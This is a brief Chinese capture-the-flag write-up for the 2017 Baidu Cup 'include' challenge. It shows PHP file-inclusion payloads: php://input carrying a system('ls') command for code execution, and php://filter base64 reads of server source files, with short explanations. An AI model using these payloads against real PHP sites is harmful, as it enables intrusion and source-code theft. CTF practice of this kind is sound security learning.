复现
“百度杯”CTF比赛 2017 二月场include
?path=flag.php
?path=php://input
<?php system('ls');?>
2233.php index.php phpinfo.php
?path=php://filter
?path=php://filter/read=convert.base64-encode/resource=
?path=php://filter/read=convert.base64-encode/resource=2233.php
当php开启allow_url_include的时候,可以用php://input伪协议包含文件
使用php://filter协议查看曝露出来的文件的内容。因为PHP文件是不能直接显示的,所以使用了base64编码显示,到时候再解码就OK了